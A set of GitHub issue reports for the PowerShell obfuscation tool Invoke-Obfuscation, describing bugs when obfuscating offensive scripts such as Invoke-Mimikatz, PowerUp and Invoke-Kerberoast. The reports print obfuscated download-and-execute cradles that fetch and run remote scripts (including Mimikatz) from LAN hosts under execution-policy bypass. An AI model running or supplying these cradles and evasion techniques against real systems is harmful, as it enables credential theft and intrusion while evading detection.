PS> Invoke-Obfuscation -ScriptPath ./launcher -Command 'Launcher,CLIP++,57' -Quiet -NoExit
Invoke-Obfuscation\Launcher\Clip++> copy

Lastly, open a command prompt and paste in the result:

C:\>Cmd.exE/c   "eCho/[SysteM.NEt.SErvIcEPOintMaNAgEr]::ExPect100Con
INue = 0;$wc=New-OBJEct SystEM.NeT.WEBCLIent;$K='`m!.GWr^^^&tX^^^>+ZIVa=L^}S#:x
bz{3gC\';$I=0;[ChAr[]]$b=([cHAr[]]($wc.DowNLoAdStRiNG("http://192.168.1.79:8080
index.asp")))^^^|%{$_-bXoR$k[$i++%$K.LeNgtH]};IEX ($b-jOIn'') | c:\wiNdOWs\sYst
M32\clIP&&Cmd.exE/c PowerSHELL -st -eXecu BYPass  -Comm    ^^^&  (  \"{1}{0}{2}
"-f 'd','A',(\"{0}{1}\" -f 'd-Typ','e' )) -Asse (  \"{4}{6}{0}{5}{3}{1}{2}\" -f
o','m','s','r',( \"{0}{2}{1}\" -f 'Sy','.','stem'  ),( \"{1}{0}\"-f 'Fo','ws.'
),( \"{1}{0}\" -f 'd','Win'  ))    ; ${EXECutIOncONTEXt}.\"iNvOkEc`O`m`MAND\".\
INv`OkesC`RI`pt\"( ( [sySTem.WiNDoWS.FORMS.ClIPboard]::( \"{0}{2}{1}\" -f'Ge','
',( \"{0}{1}\"-f 't','teX') ).\"iNvO`kE\"(  )) )  ;  [System.Windows.Forms.Clip
oard]::( \"{0}{1}\"-f(  \"{0}{1}{2}\"-f 'S','et','Tex' ),'t' ).\"inV`oKe\"(  '
 )"
Exception calling "InvokeScript" with "1" argument(s): "At line:1 char:38
+ funCTIOn StArt-NEgLZโ†“xโ–ฌโ˜ผ+h`:5I7โ†‘~`+:[    pm[7โ†”|sยงu0uIs=โ˜ปX_h4(oโ™ฅ~NS-: ...
+                                      ~
Missing function body in function declaration.
At line:2 char:56
+ DTโ™ฅlโ†”<1โ€ผZโ†’nBโ†’@โ™€d[(vg?T%KโŒ‚IU[ ?/Sโ™ซโ™ K7โ†“โŒ‚Bm[I"DNโˆŸ-HbE>โ™ซ~
+                                                        ~
Missing closing ')' in expression.
At line:3 char:40
+ We3IY:m4`)D#JI1e-+xHโ˜ผ?Z]WtRโ˜ผโ†จโˆŸvโ™ฆfโ†‘0$b~,}qzw&:mโ—„i)c#โ†
+                                        ~
Missing expression after ',' in pipeline element.
At line:3 char:40
+ We3IY:m4`)D#JI1e-+xHโ˜ผ?Z]WtRโ˜ผโ†จโˆŸvโ™ฆfโ†‘0$b~,}qzw&:mโ—„i)c#โ†
+                                        ~
Unexpected token '}' in expression or statement.
At line:3 char:44
+ We3IY:m4`)D#JI1e-+xHโ˜ผ?Z]WtRโ˜ผโ†จโˆŸvโ™ฆfโ†‘0$b~,}qzw&:mโ—„i)c#โ†
+                                            ~
The ampersand (&) character is not allowed. The & operator is reserved for
future use; wrap an ampersand in double quotation marks ("&") to pass it as
part of a string.
At line:3 char:49
+ We3IY:m4`)D#JI1e-+xHโ˜ผ?Z]WtRโ˜ผโ†จโˆŸvโ™ฆfโ†‘0$b~,}qzw&:mโ—„i)c#โ†
+                                                 ~
Unexpected token ')' in expression or statement.
At line:4 char:31
+ z6โ˜ปโ–ฌยง`โ†’RS-โŒ‚?t{!aHzYโ†”n;C!>xWP#|@ R8cv(I>25qvqโ–ผoโ™ฅโ˜ปยง?~b:"Bโ†‘โ™ฆโ˜ผp69tโ™€<Qoโ™ฆโ™ M ...
+                               ~
Unrecognized token in source text.
At line:6 char:71
+ ... Bbj?98TCnBaW(oxโ˜ผโ—„โŒ‚rโ–ผrWโ€ผEgโ™ฃS'?sdbmโ˜ปj|ZbX~. D$:1โ–บs ยงโ†hY|โ†’R"i.!โ†;โ™‚{8 `P ...
+                                                                  ~
Missing closing ')' in expression.
At line:6 char:73
+ ... ?98TCnBaW(oxโ˜ผโ—„โŒ‚rโ–ผrWโ€ผEgโ™ฃS'?sdbmโ˜ปj|ZbX~. D$:1โ–บs ยงโ†hY|โ†’R"i.!โ†;โ™‚{8 `Pvโ†‘X ...
+                                                                 ~
Missing closing '}' in statement block or type definition.
At line:4 char:14
+ z6โ˜ปโ–ฌยง`โ†’RS-โŒ‚?t{!aHzYโ†”n;C!>xWP#|@ R8cv(I>25qvqโ–ผoโ™ฅโ˜ปยง?~b:"Bโ†‘โ™ฆโ˜ผp69tโ™€<Qoโ™ฆโ™ M ...
+              ~
Missing closing '}' in statement block or type definition.
Not all parse errors were reported.  Correct the reported errors and try
again."
At line:1 char:195
+ ... ,'Win' )) ; ${EXECutIOncONTEXt}."iNvOkEc`O`m`MAND"."INv`OkesC`RI`pt"( ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : CmdletInvocationException

Solution

Unfortunately, I haven't quite found a solution to this bug. I know for sure that the CLIP++ launcher was working on this script prior to v1.6, so there must be some change in v1.6 that is causing the '+' launchers to break on this particular script.

I'm confident that the problem has to do with this line of the script:

[ChAr[]]$b=([cHAr[]]($wc.DowNLoAdStRiNG("http://192.168.1.79:8080/index.asp")))|%{$_-bXoR$k[$i++%$K.LeNgtH]};

You can see that it is doing some type of decryption of the downloaded script, and in the beginning of the output of the error message we can see that it is partially successful ("funCTIOn StArt-NEg") and then something goes wrong with the decryption:

Exception calling "InvokeScript" with "1" argument(s): "At line:1 char:38
+ funCTIOn StArt-NEgLZโ†“xโ–ฌโ˜ผ+h`:5I7โ†‘~`+:[    pm[7โ†”|sยงu0uIs=โ˜ปX_h4(oโ™ฅ~NS-: ...

Let me know if I can do anything else to help out with debugging this issue.

Obfuscated Scripts Incompatible on PS < 5.1

Hey there!
First off really awesome project!

As the title says, I've been noticing that most obfuscated Powershell scripts (specifically PowerSploit scripts) seem to be incompatible on Powershell < 5.1.

Here's some background on how/what I'm doing:

  • I'm running the following Invoke-Obfuscation command on Powershell on Linux ( I have tested obfuscating the script on Powershell v2.0 on Win7 with the same results.)
PS /home/byt3bl33d3r> $PSVersionTable                                                                                                                                                                                                          

Name                           Value                                                                                                                                                                                                          
----                           -----                                                                                                                                                                                                          
PSVersion                      6.0.0-alpha                                                                                                                                                                                                    
PSEdition                      Core                                                                                                                                                                                                           
PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0...}                                                                                                                                                                                        
BuildVersion                   3.0.0.0                                                                                                                                                                                                        
GitCommitId                    Could not find file '/usr/lib/powershell/ubuntu.16.04-x64/powershell.version'.                                                                                                                                 
CLRVersion                                                                                                                                                                                                                                    
WSManStackVersion              3.0                                                                                                                                                                                                            
PSRemotingProtocolVersion      2.3                                                                                                                                                                                                            
SerializationVersion           1.1.0.1                                                                                                                                                                                                        


PS /home/byt3bl33d3r> Import-Module Invoke-Obfuscation.psd1
PS /home/byt3bl33d3r> Invoke-Obfuscation -ScriptPath ./Invoke-Mimikatz.ps1 -Command "TOKEN,ALL,1,OUT test.ps1" -Quiet

Works as expected \o/

Windows 10 (PS version 5.1)

Works as expected.

PS C:\Users\yomama3> $PSVersionTable

Name                           Value
----                           -----
PSVersion                      5.1.14393.693
PSEdition                      Desktop
PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0...}
BuildVersion                   10.0.14393.693
CLRVersion                     4.0.30319.42000
WSManStackVersion              3.0
PSRemotingProtocolVersion      2.3
SerializationVersion           1.1.0.1


PS C:\Users\yomama3> IEX (New-Object Net.Webclient).DownloadString('http://192.168.10.3/Invoke-Mimikatz.ps1')
PS C:\Users\yomama3> iNVokE-mimIkATZ

  .#####.   mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( [email protected] )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 20 modules * * */

---SNIP---

Windows 8.1 (PS version 4.0)

Here the IEX cradle works, when executing the cmdlet however it errors out.

PS C:\Users\yomama1> $PSVersionTable

Name                           Value
----                           -----
PSVersion                      4.0
WSManStackVersion              3.0
SerializationVersion           1.1.0.1
CLRVersion                     4.0.30319.42000
BuildVersion                   6.3.9600.17400
PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0}
PSRemotingProtocolVersion      2.2

PS C:\Users\yomama1> IEX (New-Object Net.Webclient).DownloadString('http://192.168.10.3/Invoke-Mimikatz.ps1')
PS C:\Users\yomama1> Invoke-Mimikatz
Exception calling "GetDelegateForFunctionPointer" with "2" argument(s): "Unable to cast object of type
'System.Management.Automation.PSObject' to type 'System.Type'."
At line:433 char:3
+         ${vIRTu`AL`AllO`CEx} =  (&("{1}{0}{2}"-f 't-va','Ge','rIaBLE') ('1Re'+'fV')  - ...
+    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : CatchFromBaseAdapterMethodInvoke

Exception calling "GetDelegateForFunctionPointer" with "2" argument(s): "Unable to cast object of type
'System.Management.Automation.PSObject' to type 'System.Type'."
At line:463 char:3
+         ${v`irTua`lfRee} =   (&("{0}{2}{1}"-f'Va','e','riabL')  ("{0}{1}"-f'1','REFV') ...
+    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : CatchFromBaseAdapterMethodInvoke

Exception calling "GetDelegateForFunctionPointer" with "2" argument(s): "Unable to cast object of type
'System.Management.Automation.PSObject' to type 'System.Type'."
At line:473 char:3
+         ${v`irTUaL`PR`OTe`CT} =  (  &("{2}{1}{0}"-f'aBLe','I','VAr')  ("1Re"+"fV") -va ...
+    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : CatchFromBaseAdapterMethodInvoke

Exception calling "GetDelegateForFunctionPointer" with "2" argument(s): "Unable to cast object of type
'System.Management.Automation.PSObject' to type 'System.Type'."
At line:503 char:9
+         ${r`EadpRO`cessMemo`RY} =  (&("{0}{1}"-f'VarIaB','LE')  ("{0}{1}" -f'1', ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : CatchFromBaseAdapterMethodInvoke

Exception calling "GetDelegateForFunctionPointer" with "2" argument(s): "Unable to cast object of type
'System.Management.Automation.PSObject' to type 'System.Type'."
At line:508 char:9
+         ${cr`EATEReM`ot`et`H`ReaD} =   ( &("{3}{0}{2}{1}"-f 'ARI','le','AB','GeT ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : CatchFromBaseAdapterMethodInvoke

Exception calling "FromBase64String" with "1" argument(s): "Unable to cast object of type
'System.Management.Automation.PSObject' to type 'System.Type'."
At line:2541 char:13
+             [Byte[]]${pe`BYtEs} = [Byte[]] ( &("{2}{1}{0}"-f'RiABle','t-Va','GE' ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : CatchFromBaseAdapterMethodInvoke

Cannot index into a null array.
At line:2547 char:9
+         ${PeBy`T`Es}[0] = 0
+         ~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [], RuntimeException
    + FullyQualifiedErrorId : NullArray

Cannot index into a null array.
At line:2548 char:9
+         ${pE`BYT`ES}[1] = 0
+         ~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [], RuntimeException
    + FullyQualifiedErrorId : NullArray

iNvOKE-meMorYlOaDLIBraRY : Cannot bind argument to parameter 'pEBYTEs' because it is null.
At line:2552 char:102
+ ... mor') -PEBytes ${p`eb`YTES} -ExeArgs ${Exe`ArgS}
+                    ~~~~~~~~~~~~
    + CategoryInfo          : InvalidData: (:) [iNvOKE-meMorYlOaDLIBraRY], ParameterBindingValidationExceptio
    + FullyQualifiedErrorId : ParameterArgumentValidationErrorNullNotAllowed,iNvOKE-meMorYlOaDLIBraRY

Cannot index into a null array.
At line:2563 char:3
+         ${p`EHa`NDLE} = ${pE`lO`A`de`dinfo}[0]
+         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [], RuntimeException
    + FullyQualifiedErrorId : NullArray

Cannot index into a null array.
At line:2564 char:3
+         ${r`EM`OT`e`PEHaNdLe} = ${p`el`oAD`edI`NFo}[1]
+         ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [], RuntimeException
    + FullyQualifiedErrorId : NullArray

PEHandle is null or IntPtr.Zero
At line:1060 char:4
+             throw ("{5}{0}{6}{4}{3}{1}{8}{2}{7}{9}"-f 'and','ull ','t','n','e is ','PEH', ...
+    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : OperationStopped: (PEHandle is null or IntPtr.Zero:String) [], RuntimeException
    + FullyQualifiedErrorId : PEHandle is null or IntPtr.Zero

Windows 7 (PS v2.0)

Here the both the IEX cradle & cmdlet error out.

PS C:\Users\yomama> $PSVersionTable

Name                           Value
----                           -----
CLRVersion                     2.0.50727.5420
BuildVersion                   6.1.7601.17514
PSVersion                      2.0
WSManStackVersion              2.0
PSCompatibleVersions           {1.0, 2.0}
SerializationVersion           1.1.0.1
PSRemotingProtocolVersion      2.1

PS C:\Users\yomama> IEX (New-Object Net.WebClient).DownloadString('http://192.168.10.3/Invoke-Mimikatz.ps1')
Invoke-Expression : Ampersand not allowed. The & operator is reserved for future use; use "&" to pass ampersand as a string.
At line:1 char:4
+ IEX <<<<  (New-Object Net.WebClient).DownloadString('http://192.168.10.3/Invoke-Mimikatz.ps1')
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : AmpersandNotAllowed,Microsoft.PowerShell.Commands.InvokeExpressionCommand

PS C:\Users\yomama> Import-Module .\Invoke-Mimikatz.ps1
PS C:\Users\yomama> iNVokE-mimIkATZ
The variable '$cOMMaNd' cannot be retrieved because it has not been set.
At C:\Users\yomama\Downloads\Invoke-Mimikatz.ps1:2657 char:35
+         ${e`xEA`RgS} = ${cOM`MaNd} <<<<
    + CategoryInfo          : InvalidOperation: (cOMMaNd:Token) [], RuntimeExc
   eption
    + FullyQualifiedErrorId : VariableIsUndefined

The variable '$eXEArGS' cannot be retrieved because it has not been set.
At C:\Users\yomama\Downloads\Invoke-Mimikatz.ps1:2674 char:180
+         &("{2}{1}{0}{3}" -f 'Co','voke-','In','mmand') -ScriptBlock ${R`EmOTE
Sc`RIp`Tb`Lock} -ArgumentList @(${PEbYT`E`S64}, ${pE`BYt`ES32}, ("{0}{1}" -f 'V
','oid'), 0, "", ${e`XE`ArGS} <<<< )
    + CategoryInfo          : InvalidOperation: (eXEArGS:Token) [], RuntimeExc
   eption
    + FullyQualifiedErrorId : VariableIsUndefined

Array assignment failed because index '0' was out of range.
At C:\Users\yomama\Downloads\Invoke-Mimikatz.ps1:2547 char:22
+         ${PeBy`T`Es}[ <<<< 0] = 0
    + CategoryInfo          : InvalidOperation: (0:Int32) [], RuntimeException
    + FullyQualifiedErrorId : IndexOutOfRange

Array assignment failed because index '1' was out of range.
At C:\Users\yomama\Downloads\Invoke-Mimikatz.ps1:2548 char:22
+         ${pE`BYT`ES}[ <<<< 1] = 0
    + CategoryInfo          : InvalidOperation: (1:Int32) [], RuntimeException
    + FullyQualifiedErrorId : IndexOutOfRange

iNvOKE-meMorYlOaDLIBraRY : Cannot bind argument to parameter 'pEBYTEs' because
it is an empty array.
At C:\Users\yomama\Downloads\Invoke-Mimikatz.ps1:2552 char:101
+             ${peLoa`dedIN`Fo} = &("{2}{1}{0}{5}{4}{3}" -f 'e','voke-M','In','
y','yLoadLibrar','mor') -PEBytes <<<<  ${p`eb`YTES} -ExeArgs ${Exe`ArgS}
    + CategoryInfo          : InvalidData: (:) [iNvOKE-meMorYlOaDLIBraRY], Par
   ameterBindingValidationException
    + FullyQualifiedErrorId : ParameterArgumentValidationErrorEmptyArrayNotAll
   owed,iNvOKE-meMorYlOaDLIBraRY

The variable '$pELoADedinFo' cannot be retrieved because it has not been set.
At C:\Users\yomama\Downloads\Invoke-Mimikatz.ps1:2558 char:26
+         if (${pELoAD`e`d`in`Fo} <<<<  -eq  (  &("{1}{0}"-f'Item','GEt-') ("{4
}{1}{0}{2}{3}"-f'e:dH','aBl','aQ','j','vari'))."Va`LUE"::"zE`Ro")
    + CategoryInfo          : InvalidOperation: (pELoADedinFo:Token) [], Runti
   meException
    + FullyQualifiedErrorId : VariableIsUndefined

The variable '$pElOAdedinfo' cannot be retrieved because it has not been set.
At C:\Users\yomama\Downloads\Invoke-Mimikatz.ps1:2563 char:38
+         ${p`EHa`NDLE} = ${pE`lO`A`de`dinfo} <<<< [0]
    + CategoryInfo          : InvalidOperation: (pElOAdedinfo:Token) [], Runti
   meException
    + FullyQualifiedErrorId : VariableIsUndefined

The variable '$peloADedINFo' cannot be retrieved because it has not been set.
At C:\Users\yomama\Downloads\Invoke-Mimikatz.ps1:2564 char:46
+         ${r`EM`OT`e`PEHaNdLe} = ${p`el`oAD`edI`NFo} <<<< [1]
    + CategoryInfo          : InvalidOperation: (peloADedINFo:Token) [], Runti
   meException
    + FullyQualifiedErrorId : VariableIsUndefined

Invoke-Command : PEHandle is null or IntPtr.Zero
At C:\Users\yomama\Downloads\Invoke-Mimikatz.ps1:2674 char:4
+         & <<<< ("{2}{1}{0}{3}" -f 'Co','voke-','In','mmand') -ScriptBlock ${R
`EmOTESc`RIp`Tb`Lock} -ArgumentList @(${PEbYT`E`S64}, ${pE`BYt`ES32}, ("{0}{1}"
 -f 'V','oid'), 0, "", ${e`XE`ArGS})
    + CategoryInfo          : OperationStopped: (PEHandle is null or IntPtr.Ze
   ro:String) [Invoke-Command], RuntimeException
    + FullyQualifiedErrorId : PEHandle is null or IntPtr.Zero,Microsoft.PowerS
   hell.Commands.InvokeCommandCommand

At first I thought it might be an issue with PowerShell on Linux, but I did the same thing on PowerShell on WIndows with the same results, so this does seem to be a bug.

Let me know if you need any more information.

Cheers!

Error on ParameterValidationAttribute 'OutputType'

Problem

Errors obfuscating the ParameterValidationAttribute 'OutputType'. The problem only arises when OutputType uses a TypeNameString instead of a TypeLiteral as described here.

I discovered this issue while attempting to obfuscate modules in the Empire project.

This error specifically was found while attempting to obfuscate PowerUp.ps1 and Invoke-Kerberoast.ps1.

Steps to reproduce

PS> Invoke-Obfuscation -ScriptPath 'https://raw.githubusercontent.com/EmpireProject/Empire/2.0_beta/data/module_source/privesc/PowerUp.ps1' -Command 'Token\All\1' -Quiet
Exception calling "Create" with "1" argument(s): "At line:675 char:17                                                                         
+ ... [OutputType(("{4}{5}{0}{3}{1}{2}"-f'eCo','oll','er','ntr','ServicePro ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Attribute argument must be a constant or a script block.
At line:826 char:17
+ ... [OutputType(("{4}{2}{9}{5}{8}{1}{0}{7}{6}{3}" -f '.Serv','s','r','ont ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Attribute argument must be a constant or a script block."
At /opt/Invoke-Obfuscation/Out-ObfuscatedTokenCommand.ps1:137 char:13
+             $ScriptString = Out-ObfuscatedTokenCommand ([ScriptBlock] ...
+             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : ParseException
 
Exception calling "Create" with "1" argument(s): "At line:675 char:17
+ ... [OutputType(("{4}{5}{0}{3}{1}{2}"-f'eCo','oll','er','ntr','ServicePro ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Attribute argument must be a constant or a script block.
At line:826 char:17
+ ... [OutputType(("{4}{2}{9}{5}{8}{1}{0}{7}{6}{3}" -f '.Serv','s','r','ont ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Attribute argument must be a constant or a script block."
At /opt/Invoke-Obfuscation/Out-ObfuscatedTokenCommand.ps1:137 char:13
+             $ScriptString = Out-ObfuscatedTokenCommand ([ScriptBlock] ...
+             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : ParseException
 
Exception calling "Create" with "1" argument(s): "At line:675 char:17
+ ... [OutputType(("{4}{5}{0}{3}{1}{2}"-f'eCo','oll','er','ntr','ServicePro ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Attribute argument must be a constant or a script block.
At line:826 char:17
+ ... [OutputType(("{4}{2}{9}{5}{8}{1}{0}{7}{6}{3}" -f '.Serv','s','r','ont ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Attribute argument must be a constant or a script block."
At /opt/Invoke-Obfuscation/Out-ObfuscatedTokenCommand.ps1:137 char:13
+             $ScriptString = Out-ObfuscatedTokenCommand ([ScriptBlock] ...
+             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : ParseException
 
Exception calling "Create" with "1" argument(s): "At line:675 char:17
+ ... [OutputType(("{4}{5}{0}{3}{1}{2}"-f'eCo','oll','er','ntr','ServicePro ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Attribute argument must be a constant or a script block.
At line:826 char:17
+ ... [OutputType(("{4}{2}{9}{5}{8}{1}{0}{7}{6}{3}" -f '.Serv','s','r','ont ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Attribute argument must be a constant or a script block."
At /opt/Invoke-Obfuscation/Out-ObfuscatedTokenCommand.ps1:137 char:13
+             $ScriptString = Out-ObfuscatedTokenCommand ([ScriptBlock] ...
+             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : ParseException
 
Exception calling "Create" with "1" argument(s): "At line:675 char:17
+ ... [OutputType(("{4}{5}{0}{3}{1}{2}"-f'eCo','oll','er','ntr','ServicePro ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Attribute argument must be a constant or a script block.
At line:826 char:17
+ ... [OutputType(("{4}{2}{9}{5}{8}{1}{0}{7}{6}{3}" -f '.Serv','s','r','ont ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Attribute argument must be a constant or a script block."
At /opt/Invoke-Obfuscation/Out-ObfuscatedTokenCommand.ps1:137 char:13
+             $ScriptString = Out-ObfuscatedTokenCommand ([ScriptBlock] ...
+             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : ParseException

Solution

I was able to get rid of the error messages by adding OutputType to the $ParameterValidationAttributesToTreatStringAsScriptblock array.

# The below Parameter Binding Validation Attributes cannot have their string values formatted with the -f format operator unless treated as a scriptblock.
# When we find strings following these Parameter Binding Validation Attributes then if we are using a -f format operator we will treat the result as a scriptblock.
# Source: https://technet.microsoft.com/en-us/library/hh847743.aspx
$ParameterValidationAttributesToTreatStringAsScriptblock  = @()
$ParameterValidationAttributesToTreatStringAsScriptblock += 'alias'
$ParameterValidationAttributesToTreatStringAsScriptblock += 'allownull'
$ParameterValidationAttributesToTreatStringAsScriptblock += 'allowemptystring'
$ParameterValidationAttributesToTreatStringAsScriptblock += 'allowemptycollection'
$ParameterValidationAttributesToTreatStringAsScriptblock += 'validatecount'
$ParameterValidationAttributesToTreatStringAsScriptblock += 'validatelength'
$ParameterValidationAttributesToTreatStringAsScriptblock += 'validatepattern'
$ParameterValidationAttributesToTreatStringAsScriptblock += 'validaterange'
$ParameterValidationAttributesToTreatStringAsScriptblock += 'validatescript'
$ParameterValidationAttributesToTreatStringAsScriptblock += 'validateset'
$ParameterValidationAttributesToTreatStringAsScriptblock += 'validatenotnull'
$ParameterValidationAttributesToTreatStringAsScriptblock += 'validatenotnullorempty'

$ParameterValidationAttributesToTreatStringAsScriptblock += 'helpmessage'
$ParameterValidationAttributesToTreatStringAsScriptblock += 'confirmimpact'
$ParameterValidationAttributesToTreatStringAsScriptblock += 'outputtype'

Error in "Out-ObfuscatedStringCommand"

While doing bulk obfuscations using -Command 'TOKEN\ALL\1,ENCODING\6,STRING\2' I got an error while calling "Out-ObfuscatedStringCommand" at line 1246 in "Invoke-Obfuscation.ps1". Only 1 PowerShell function out of 44 had that issue, but it has it consistently.

$error[0]|select *

PSMessageDetails :
Exception : System.Management.Automation.ParameterBindingValidationException: Cannot validate argument on parameter 'ScriptBlock'. The argument is null or empty. Provi
de an argument that is not null or empty, and then try the command again. ---> System.Management.Automation.ValidationMetadataException: The argument is nu
ll or empty. Provide an argument that is not null or empty, and then try the command again.
at System.Management.Automation.ValidateNotNullOrEmptyAttribute.Validate(Object arguments, EngineIntrinsics engineIntrinsics)
at System.Management.Automation.ParameterBinderBase.BindParameter(CommandParameterInternal parameter, CompiledCommandParameter parameterMetadata, Parame
terBindingFlags flags)
--- End of inner exception stack trace ---
at System.Management.Automation.ParameterBinderBase.BindParameter(CommandParameterInternal parameter, CompiledCommandParameter parameterMetadata, Parame
terBindingFlags flags)
at System.Management.Automation.CmdletParameterBinderController.BindParameter(CommandParameterInternal argument, MergedCompiledCommandParameter paramete
r, ParameterBindingFlags flags)
at System.Management.Automation.CmdletParameterBinderController.BindParameter(UInt32 parameterSets, CommandParameterInternal argument, MergedCompiledCom
mandParameter parameter, ParameterBindingFlags flags)
at System.Management.Automation.CmdletParameterBinderController.BindParameters(UInt32 parameterSets, Collection1 arguments) at System.Management.Automation.CmdletParameterBinderController.BindCommandLineParametersNoValidation(Collection1 arguments)
at System.Management.Automation.CmdletParameterBinderController.BindCommandLineParameters(Collection1 arguments) at System.Management.Automation.CommandProcessor.BindCommandLineParameters() at System.Management.Automation.CommandProcessorBase.DoPrepare(IDictionary psDefaultParameterValues) at System.Management.Automation.Internal.PipelineProcessor.Start(Boolean incomingStream) at System.Management.Automation.Internal.PipelineProcessor.SynchronousExecuteEnumerate(Object input) --- End of stack trace from previous location where exception was thrown --- at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw() at System.Management.Automation.Internal.PipelineProcessor.SynchronousExecuteEnumerate(Object input) at System.Management.Automation.PipelineOps.InvokePipeline(Object input, Boolean ignoreInput, CommandParameterInternal[][] pipeElements, CommandBaseAst[ ] pipeElementAsts, CommandRedirection[][] commandRedirections, FunctionContext funcContext) at lambda_method(Closure , Object[] , StrongBox1[] , InterpretedFrame )
TargetObject :
CategoryInfo : InvalidData: (:) [Out-ObfuscatedStringCommand], ParameterBindingValidationException
FullyQualifiedErrorId : ParameterArgumentValidationError,Out-ObfuscatedStringCommand
ErrorDetails :
InvocationInfo : System.Management.Automation.InvocationInfo
ScriptStackTrace : at Show-Menu, G:\Software\PowerShell\Modules\Invoke-Obfuscation-master\Invoke-Obfuscation.ps1: line 1246
at Invoke-Obfuscation, G:\Software\PowerShell\Modules\Invoke-Obfuscation-master\Invoke-Obfuscation.ps1: line 532
at , : line 1
PipelineIterationInfo : {}

Here is the (zipped) input PowerShell script triggering that error:
Function Test-ADPassword.zip

Kind regards, Geeeert

String TOKEN obfuscation issue on 'ConfirmImpact' ParameterValidationAttribute

Problem

Currently, ConfirmImpact is a member of the $ParameterValidationAttributesToTreatAsScriptBlock group. When the ConfirmImpact attribute is assigned to a ScriptBlock, execution fails. There are no errors during obfuscation, only during execution.

I discovered this issue obfuscating the Invoke-EventVwrBypass module in Empire.

Example

PS> cat .\Invoke-Example.ps1
function Invoke-Example {

